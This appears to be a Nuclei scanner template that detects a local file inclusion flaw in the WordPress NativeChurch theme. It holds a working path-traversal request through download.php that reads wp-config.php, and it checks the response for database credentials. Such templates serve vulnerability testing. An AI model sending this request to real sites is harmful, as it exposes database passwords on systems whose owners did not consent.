漏洞描述
WordPress NativeChurch Theme is vulnerable to local file inclusion in the download.php file.
id: nativechurch-wp-theme-lfd
info:
name: WordPress NativeChurch Theme - Local File Inclusion
author: 0x_Akoko
severity: high
description: |
WordPress NativeChurch Theme is vulnerable to local file inclusion in the download.php file.
reference:
- https://packetstormsecurity.com/files/132297/WordPress-NativeChurch-Theme-1.0-1.5-Arbitrary-File-Download.html
- https://wpscan.com/vulnerability/2e1062ed-0c48-473f-aab2-20ac9d4c72b1
metadata:
max-request: 1
tags: wp-theme,lfi,wp,packetstorm,wpscan,wordpress,vuln
http:
- method: GET
path:
- '{{BaseURL}}/wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "DB_NAME"
- "DB_PASSWORD"
- "DB_HOST"
- "The base configurations of the WordPress"
condition: and
# digest: 4b0a004830460221009bff8e6da8695c22dc2fae840288a55aa71a9c96eab5f476eb344afdfae667c0022100ef8951231362518cfb8d0893f0c518f6c3836bd66c8f8760ce2af8ccf878313b:922c64590222798bb761d5b6d8e72950